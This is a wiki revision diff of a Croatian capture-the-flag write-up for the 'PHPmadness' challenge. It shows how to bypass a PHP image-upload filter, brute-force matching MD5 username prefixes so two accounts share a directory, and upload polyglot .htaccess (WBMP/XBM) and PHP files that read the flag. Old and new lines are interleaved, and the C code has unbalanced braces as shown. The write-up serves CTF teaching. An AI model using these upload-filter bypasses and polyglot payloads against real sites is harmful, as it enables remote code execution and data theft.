User Tools

Site Tools


phpmadness

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
phpmadness [2025/10/30 14:04] – created mbunicphpmadness [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 1: Line 1:
-==== PHPmadness ====+==== Zadatak s Hacknite platforme - PHPmadness ====
  
-Uz zadatak je dan i izvorni kod. \\+<file> 
 +Ovaj zadatak ima slojeve
  
-{{ :slika1.png?nolink&500 | Slika 1 - Dockerfile}}+http://chal.platforma.hacknite.hr:14019 
 +</file>
  
-Pregledom *Dockerfilea* zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju **/flag**, gdje datoteka dobiva nasumično generiran naziv u formatu `fl4g_<nasumičnih 16 znakova>`.+Dan je i izvorni kod zadatka. \\
  
-Odlaskom na stranicu zadatka potrebno je registrirati novi korisnički računNakon logina prikazuje se stranica na kojoj se može pohraniti jedna slika. \\+{{ phpmadness:slika1.png?nolink&500 | Slika 1 - Dockerfile}}
  
-{{ :slika2.png?nolink&500 | Slika 2 - stranica zadatka}}+Pregledom **Dockerfilea** zadatka, može se vidjeti da se radi o PHP zadatku, te da se flag kopira u direktorij **/flag**, te da flag datoteka dobiva nasumično generirano ime u formatu:
  
-Nakon što se uploada neka mala nasumična slika (npr. *whatever.png*), dobije se poveznica na lokaciju slike. \\+<code> 
 +fl4g_<nasumicnih 16 znakova> 
 +</code>
  
-{{ :slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}}+Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun, nakon logina prikazuje se stranica na kojoj se može pohraniti jedna jedina slika. \\
  
-Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo valjana slika. \\+{{ phpmadness:slika2.png?nolink&500 | Slika 2 - stranica zadatka}}
  
-{{ :slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}}+Nakon što se uploada neka mala nasumična slika (npr**whatever.png**), dobije se poveznica na lokaciju slike. \\
  
-Kod se sastoji od tri provjere:+{{ phpmadness:slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}}
  
-**1Provjera ekstenzije datoteke** +Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo slika. \\ 
-<file>+ 
 +{{ phpmadness:slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}} 
 + 
 +Kod se sastoji od tri provjere, prva provjera je samo provjera ekstenzije učitane datoteke, provjerava se tako da se uzme dio naziva datoteke nakon zadnje točke, npr. **.jpg**, te se provjerava da ta ekstenzija ne počinje znakovima **ph**, što je definirano ovim REGEX pravilom: 
 + 
 +<code>
 if (preg_match('/^ph/', $ext)) { if (preg_match('/^ph/', $ext)) {
-</file>+</code>
  
-Provjera uzima ekstenziju nakon zadnje točke (npr. `.jpg`) i provjerava da ne počinje znakovima `ph`.   +Ovu provjeru lako je zaobići, tako da se stave dvostruke ekstenzije, npr.
-Ovu provjeru lako je zaobići dvostrukom ekstenzijomnpr. `file.php.jpg`.   +
-U tom slučaju se validira `.jpg`, ali se datoteka sprema bez te provjerene ekstenzije, pa efektivno ostaje `.php`.+
  
-**2Provjera MIME tipa poslanog u zahtjevu** +<code> 
-<file>+file.php.jpg 
 +</code> 
 + 
 +U kojem bi slučaju ova provjera uzela samo **.jpg**, nakon čega sprema datoteku bez provjerene ekstenzije, što bi značilo da bi samo druga ekstenzija, **.php**, ostala. 
 + 
 +Druga provjera, provjerava da MIME tip poslan u zahtjevu odgovara slici: 
 + 
 +<code>
 if (strpos($_FILES["file"]["type"], "image/")) if (strpos($_FILES["file"]["type"], "image/"))
-</file> +</code>
-Ova provjera koristi podatak koji klijent šalje i može se jednostavno namjestiti ručno pri slanju datoteke.+
  
-**3Provjera “file signature” (serverska provjera)**   +Ovu provjeru je lagano zaobići namještanjem ove vrijednosti na korisničkoj strani pri slanju datoteke. 
-<file>+ 
 +Treća provjera
 + 
 +<code>
 $info = @getimagesize($_FILES["file"]["tmp_name"]); $info = @getimagesize($_FILES["file"]["tmp_name"]);
 $mime = $info['mime'];  $mime = $info['mime']; 
 +
 ... ...
 +
 strpos($mime, "image/") !== 0 strpos($mime, "image/") !== 0
-</file> +</code>
-Ova provjera čita stvarne “magic bytes” datoteke i određuje je li slika.   +
-Zaobići se može tako da se na početak PHP datoteke dodaju “magic byteovi” slike (.jpg, .png, …). PHP parser ih preskače i izvršava ostatak koda.+
  
----+Provjerava datoteku na serverskoj strani, čitajući njezin "file signature" ili "magic bytes" i prema njima određuje je li učitana datoteka slika ili nije.
  
-No, čak ako se uspješno upload-a PHP datoteka koja prolazi sve provjere, ona se **ne bi izvršila**jer se sprema u `/uploads/`a tamo postoji `.htaccess` koji zabranjuje izvršavanje PHP datoteka\\+I ovu provjeru moguće je jednostavno zaobići, tako da se napravi PHP datoteka s kodom koji se želi izvršiti na serveruna početku koje se dodaju "magic byteovi" odnosno "file signature" neke slikenpr.jpg, i u slučaju da bi PHP parser čitao ovu datoteku, on bi ignorirao ove byteove i nakon toga uspješno pročitao i pokrenuo PHP kod.
  
-{{ :slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}}+No postoji problem, čak i da se uploada datoteka s PHP kodom koja zaobilazi sve ove provjere, ona se i dalje ne bi izvršila, zato što će se učitati pod putanjom **/uploads/**, a u **/uploads** direktoriju postoji **.htaccess** file, koji zabranjuje izvršavanje svim PHP datotekama. \\
  
-Međutim, učitana datoteka se sprema u **poddirektorij** `/uploads/<specific_user_directory>`.   +{{ phpmadness:slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}}
-To znači da, ako se može uploadati **.htaccess** datoteka koja bi zaobišla validaciju, ona bi mogla **nadjačati** (override) roditeljsku `.htaccess` konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija.+
  
-Problem: korisnik možimati **samo jednu** datoteku po sesiji — upload nove briše starušto je prikazano kodu\\+No uploadana datoteka ćse nalaziti u poddirektoriju od **/uploads**, nalazit će se u:
  
-{{ :slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}}+<code> 
 +/uploads/&lt;specific_user_directory&gt; 
 +</code>
  
-To znači:   +Što znači da ako je moguće uploadati **.htaccess** file, koji bi također zaobišao provjere da je uploadana datoteka slikataj učitani **.htaccess** file bi nadjačao (eng. override) roditeljski **.htaccess** file. Time bi bilo moguće definirati vlastita **.htaccess** pravila u direktoriju pojedinog korisnika.
-ako se upload-a `.php` datoteka, neće se moći izvršiti zbog ograničenja u `.htaccess`,   +
-- ako se upload-a `.htaccess`, neće se moći uploadati dodatna `.php` datoteka jer se prva briše.+
  
----+No problem je da svaki korisnik smije imati samo jednu učitanu datoteku po korisničkoj sesiji, i učitavanjem nove datoteke, stara datoteka se briše i samo nova čuva, što je prikazano u kodu na slici 6. \\
  
-Postoji ipak način da **dvije datoteke** završe u istom direktoriju  +{{ phpmadness:slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}}
-Pogledajmo kako se određuje ime korisničkog direktorija:+
  
-<file>+To znači da ako korisnik učita **.php** file koji zaobilazi sve provjere, on neće biti dopušten zbog **.htaccess** konfiguracije u naddirektoriju, a ako uspije učitati **.htaccess** datoteku koja overridea krovnu konfiguraciju, neće biti moguće učitati **.php** datoteku koja bi iskoristila tu novu konfiguraciju koja dopušta izvršavanje PHP koda. 
 + 
 +No postoji način za učitati dvije datoteke u isti direktorij, kako bi se mogla učitati prvo **.htaccess** datoteka koja bi dozvolila izvršavanja PHP koda i onda druga datoteka koja bi sadržavala PHP kod, koji bi se izvršio i koristio za čitanje flaga. 
 + 
 +Odgovor leži u logici koja određuje u koji direktorij će se pohraniti korisnikova učitana datoteka, što je određeno u ovoj liniji koda: 
 + 
 +<code>
 $userdir = substr(md5($_SESSION['username']), 0, 6) . "/"; $userdir = substr(md5($_SESSION['username']), 0, 6) . "/";
-</file>+</code>
  
-Dakle, direktorij se naziva po **prvih 6 znakova MD5 sažetka korisničkog imena**  +Ova linija koda određuje da će se korisnikov direktorij nazvati kao prvih 6 znakova MD5 sažetka korisnikovog korisničkog imena (usernamea).
-Ako nađemo **dva korisnička imena** X i Y s istim prvim 6 znakova MD5 hash-a:+
  
-<file>+To znači da ako možemo pronaći dva korisnička imena, koja oba imaju istih prvih 6 znakova njihovih MD5 sažetka, odnosno 
 + 
 +<code>
 MD5(X)[0:6] = MD5(Y)[0:6] MD5(X)[0:6] = MD5(Y)[0:6]
-</file>+</code> 
 + 
 +gdje su X i Y dva različita usernamea, svaki korisnik može uploadati jednu datoteku u isti direktorij, tako da korištenjem jednog korisnika se može uploadati **.htaccess** datoteka, a korištenjem drugog korisnika datoteka sa PHP kodom, čije je izvršavanje omogućeno **.htaccess** datotekom.
  
-onda će oba korisnika spremati datoteke u isti direktorij.   +Pronalazak para usernameova čijih prvih 6 znakova MD5 hash algoritma se podudaraju je jednostavan problem i čistim bruteforceom se može pronaći vrlo brzoispod minute (implementacijom u C-u).
-Jedan može uploadati `.htaccess`a drugi `.php` datoteku.+
  
-Pronalazak takvog para je trivijalan brute-force problem — možse riješiti u manje od minute.   +Sljedećje jedan primjer C koda koji pronalazi ovo rješenje.
-Slijedi primjer C programa koji to radi:+
  
 <file> <file>
-// md5_collision_finder6+// md5_collision_finder6 
 #include <stdio.h> #include <stdio.h>
 #include <stdlib.h> #include <stdlib.h>
Line 108: Line 129:
     printf("Input string: %s\n", input);     printf("Input string: %s\n", input);
     printf("Full MD5: ");     printf("Full MD5: ");
-    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) printf("%02x", input_digest[i]);+    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) 
 +        printf("%02x", input_digest[i]); 
 +    }
     printf("\nFirst 6 chars: ");     printf("\nFirst 6 chars: ");
-    for (int i = 0; i < 3; i++) printf("%02x", input_digest[i]); +    for (int i = 0; i < 3; i++) 
-    printf("\nSearching for collision...\n");+        printf("%02x", input_digest[i]); 
 +    } 
 +    printf("\nSearching for collision (min 8 chars)...\n");
  
 +    // Extract first 3 bytes as target
     unsigned char target[3];     unsigned char target[3];
     memcpy(target, input_digest, 3);     memcpy(target, input_digest, 3);
-    const int min_len = 8; +    const int min_len = 8; // MINIMUM candidate length 
-    const int max_len = 15;+    const int max_len = 15; // MAXIMUM candidate length
     const size_t charset_size = sizeof(charset) - 1;     const size_t charset_size = sizeof(charset) - 1;
     unsigned long long attempts = 0;     unsigned long long attempts = 0;
-    char candidate[max_len + 1];+    const unsigned long long report_interval = 10000000; 
 +    char candidate[max_len + 1]; // Buffer for candidate
     srand(time(NULL));     srand(time(NULL));
- 
     while (1) {     while (1) {
         attempts++;         attempts++;
 +        // Generate random candidate length (8-15)
         int len = rand() % (max_len - min_len + 1) + min_len;         int len = rand() % (max_len - min_len + 1) + min_len;
-        for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size];+        // Generate random candidate 
 +        for (int i = 0; i < len; i++) 
 +            candidate[i] = charset[rand() % charset_size]; 
 +        }
         candidate[len] = '\0';         candidate[len] = '\0';
-        if (len == input_len && memcmp(candidate, input, len) == 0) continue;+        // Skip input string if same (length + content) 
 +        if (len == input_len && memcmp(candidate, input, len) == 0) 
 +            continue; 
 +        } 
 +        // Compute MD5
         unsigned char candidate_digest[MD5_DIGEST_LENGTH];         unsigned char candidate_digest[MD5_DIGEST_LENGTH];
         MD5((unsigned char*)candidate, len, candidate_digest);         MD5((unsigned char*)candidate, len, candidate_digest);
 +        // Progress report
 +        if (attempts % report_interval == 0) {
 +            printf("Attempts: %lluM, Current: %s\n", attempts/1000000, candidate);
 +        }
 +        // Check first 3 bytes (6 hex characters)
         if (memcmp(candidate_digest, target, 3) == 0) {         if (memcmp(candidate_digest, target, 3) == 0) {
-            printf("Collision found after %llu attempts!\n", attempts); +            printf("\nCollision found after %llu attempts!\n", attempts); 
-            printf("Colliding string: %s\n", candidate);+            printf("Colliding string: %s (length: %d)\n", candidate, len); 
 +            printf("Full MD5: "); 
 +            for (int i = 0; i < MD5_DIGEST_LENGTH; i++) { 
 +                printf("%02x", candidate_digest[i]); 
 +            } 
 +            printf("\nFirst 6 chars: "); 
 +            for (int i = 0; i < 3; i++) { 
 +                printf("%02x", candidate_digest[i]); 
 +            } 
 +            printf("\n");
             break;             break;
         }         }
Line 140: Line 188:
 </file> </file>
  
-Pokretanje:+Program se treba kompajlirati i nakon toga se može pokrenuti, prosljeđujući mu username za koji je potrebno naći MD5 hash collision u prvih 6 znakova kao argument. 
 + 
 +Primjer ovakvog para korisničkih imena dobivenog ovim programom je: 
 <file> <file>
 $ ./md5_collision_finder6 korisnik1 $ ./md5_collision_finder6 korisnik1
Line 146: Line 197:
 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61
 First 6 chars: affc2d First 6 chars: affc2d
 +Searching for collision (min 8 chars)...
 +Attempts: 10M, Current: ZF7ciZizcHo8
 +
 Collision found after 19093362 attempts! Collision found after 19093362 attempts!
-Colliding string: BQuxIUGH+Colliding string: BQuxIUGH (length: 8)
 Full MD5: affc2da2a9c70df41678d24f997a95f0 Full MD5: affc2da2a9c70df41678d24f997a95f0
 First 6 chars: affc2d First 6 chars: affc2d
 </file> </file>
  
-Dakle, dva korisnička imena koja dijele direktorij su **korisnik1** i **BQuxIUGH**.+Dva korisnička imena, čije bi učitane datoteke bile u istom direktoriju su
 + 
 +<code> 
 +korisnik1 i BQuxIUGH 
 +</code> 
 + 
 +Preostaje problem kako učitati **.htaccess** datoteku, koja će uspješno proći kroz provjere da je učitana datoteka slika, dok će se dalje dobro parsirati kao ispravan **.htaccess** file. Pri parsiranju PHP fileova, nepoznati byteovi će se samo preskočiti, te je ovo trivijalan problem kod datoteke s PHP kodom, dok je u slučaju **.htaccess** datoteke, ovo zapravo najteži dio zadatka.
  
----+.htaccess datoteka koja bi koristila ovaj pristup bi se mogla zvati **.htaccess.jpg**.
  
-Sada treba napraviti .htaccess datoteku koja će proći validaciju slike, ali će se i dalje pravilno parsirati.   +Postoje dva rješenja.  
-Pri parsiranju PHP datoteka, nepoznati bajtovi se preskaču, no .htaccess parser zahtijeva ispravan početak datoteke — to je najteži dio zadatka.+
  
-Postoje dva rješenja:+==== .wbmp ====
  
-### 1. `.wbmp` pristup   +Prvo se zasniva na činjenici da se pri parsiranju .htaccess datoteke, null bajtovi na početku preskaču bez errora, te se file dalje normalno parsira, dok 4 null bajtovi na početku datoteke PHP prepoznaje kao file signature .wbmp datoteke, koja je slika, te se tako može napraviti „pseudo-poliglot” datoteka koja PHP-ovu provjeru uvjerava da je .wbmp slika, dok je i dalje .htaccess file koji se može uspješno parsiratiDatoteka može imati sadržaj:
-Parser .htaccess datoteke ignorira početne *null* bajtove.   +
-Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), PHP ih prepoznaje kao potpis `.wbmp` slike.   +
-Takva datoteka može se zvati `.htaccess.jpg` i sadržavati:+
  
 <file> <file>
-<4 null byteova><new line>+<4 null bajtova><new line (\n ili 0a u hex)>
 <FilesMatch "\.php3$"> <FilesMatch "\.php3$">
 Require all granted Require all granted
Line 174: Line 230:
 </file> </file>
  
-### 2. `.xbm` pristup   +==== .xbm ==== 
-Komentari u .htaccess počinju s `#`.   + 
-Ako se doda zaglavlje valjane .xbm slike:+Drugo rješenje se zasniva na činjenici da u .htaccess datoteci komentari se označavaju znakom “#” na početku linije, te se tako može konstruirati datoteka kojoj su prve dvije linije: 
 + 
 +<file> 
 +#define a_width 1  
 +#define a_height 1 
 +</file> 
 + 
 +što prolazi provjeru je li učitana datoteka slika, interpretirajući se kao **.xbm** datoteka (slika), dok se pri parsiranju datoteke kao .htaccess, ove dvije linije smatraju komentarima i preskaču, pa se parsiranje .htaccess datoteke normalno nastavlja. Primjer sadržaja:
  
 <file> <file>
Line 187: Line 250:
 </file> </file>
  
-PHP provjera prepoznaje datoteku kao slikua Apache parser ignorira prve dvije linije kao komentare.+Sada su riješena sva ograničenja zadatka i jasan je način kako se može stvoriti 2 korisnika s odgovarajućim korisničkim imenima kako bi se mogle učitati dvije datoteke, **.htaccess** i datoteka s PHP kodom u isti korisnički direktorijuz zaobilazak svih provjera i ograničenja zadatka za učitavanje datoteke.
  
----+Još jedno ograničenje je preostalo za PHP kod koji se treba učitati i izvršavati za dohvat flaga, to je skup zabranjenih funkcija, definiran u **/php-config/disable_functions.ini**.
  
-Time je moguće zaobići sve provjere i ograničenja.   +Zabranjene funkcije su:
-Dakle, strategija je  +
-1. Dva korisnika s istim prvih 6 znakova MD5 hash-a.   +
-2. Jedan upload-a `.htaccess.jpg` (s gornjim sadržajem).   +
-3. Drugi upload-a PHP datoteku, npr. `readFlag.php3.jpg`.+
  
---- +<code>
- +
-Preostaje PHP kod koji pronalazi i ispisuje flag.   +
-Ograničenja su definirana u `/php-config/disable_functions.ini`: +
- +
-<file>+
 disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec
-</file>+</code>
  
-Ipak, moguće je čitati datoteke bez ovih funkcija.+No i dalje i s ovim ograničenjem ima dosta načina za pronaći flag datoteku i pročitati ju i bez ovih zabranjenih funkcija.
  
-Primjer datoteke **readFlag.php3.jpg** (s dodanim *magic bytes* slike na početku):+Primjer datoteke s PHP kodom, koja bi bila odobrena prethodnom **.htaccess** datotekom i pronašla flag datoteku te je pročitala i ispisala se može zvati **readFlag.php3.jpg** i sadržavati file signature bilo koje slike, npr. koristeći tehniku .wbmp, te nakon toga potrebni PHP kod:
  
 <file> <file>
-<4 null byteova><new line>+<4 null byteova><new line (\n ili 0a u hex)>
 <?php <?php
 $files = scandir("/flag"); $files = scandir("/flag");
Line 226: Line 280:
 </file> </file>
  
---- +Preostali koraci
- +  * s jednim korisnikom učitati prethodno opisanu **.htaccess.jpg** datoteku, \\   
-Zatim+    {{ phpmadness:slika7.png?nolink&500 | Slika 7 - upload .htaccess.jpg datoteke}}
-1. Prvim korisnikom upload-aj `.htaccess.jpg`. \\   +
-{{ :slika7.png?nolink&500 | Slika 7 - upload .htaccess.jpg datoteke}}+
  
-2. Drugim korisnikom upload-aj `readFlag.php3.jpg`. \\   +  * s drugim korisnikom učitati opisanu datoteku s PHP kodom (**readFlag.php3.jpg**), \\   
-{{ :slika8.png?nolink&500 | Slika 8 - upload readFlag.php3.jpg datoteke}}+    {{ phpmadness:slika8.png?nolink&500 | Slika 8 - upload readFlag.php3.jpg datoteke}}
  
-3. Posjeti link do učitane PHP datoteke\\   +  * otići na lokaciju učitane PHP datoteke i posjetiti je, \\   
-{{ :slika9.png?nolink&500 | Slika 9 - link na lokaciju}}+    {{ phpmadness:slika9.png?nolink&500 | Slika 9 - link na lokaciju}}
  
-PHP kod će se izvršiti ispisati flag. \\   +kako bi se PHP kod izvršio ispisao flag. \\   
-{{ :slika10.png?nolink&500 | Slika 10 - riješen zadatak}}+{{ phpmadness:slika10.png?nolink&500 | Slika 10 - riješen zadatak}}
  
phpmadness.1761833079.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki